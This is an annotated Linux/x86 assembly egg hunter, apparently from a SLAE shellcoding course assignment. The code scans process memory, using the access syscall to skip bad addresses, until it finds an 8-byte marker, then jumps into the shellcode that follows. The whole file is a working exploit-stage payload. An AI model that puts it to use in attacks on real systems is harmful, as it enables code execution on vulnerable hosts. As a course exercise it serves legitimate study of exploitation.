Egg Hunter in Assembly Language - Linux/x86 - forlife

egg_hunter.asm

; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/3rd.assignment/egg_hunter.asm

global _start

section .text

_start:
	; setting the registers
	cld			; clear the direction flag (DF) to use scasd correctly
	xor ecx, ecx
	mul ecx
alignpage:
	; align page
	or dx, 0xfff 		; is the same as "add dx, 4095" (PAGE_SIZE)
alignbyte:
	inc edx			; next memory offset

	; Accessing the memory offset
	; int access(const char *pathname, int mode);
	; access(memoryaddress, 0)

	push 33			; __NR_access 33
	pop eax

	lea ebx, [edx + 4]	; alignment to validate the last four bytes of the signature

				; ecx already contains 0 (F_OK)

	int 0x80		; kernel interruption


	; verifies if memory is not readable (bad address = EFAULT = 0xf2 = -14)
	; as the offset is not from a path name, access will never result 0, so we have to compare the error result with 0xf2
	cmp al, 0xf2

	; if is not, loop
	jz alignpage

	; compares the signature and increments 4 bytes in edi
	mov eax, 0x50905090	; byte reverse order
	mov edi, edx
	scasd

	; if is not equal, loop
	jnz alignbyte

	; if is equal, compares the last signature 4 bytes and increments 4 bytes in edi again
	scasd

	; if is not equal, loop
	jnz alignbyte

	; if is equal, eat the egg
	jmp edi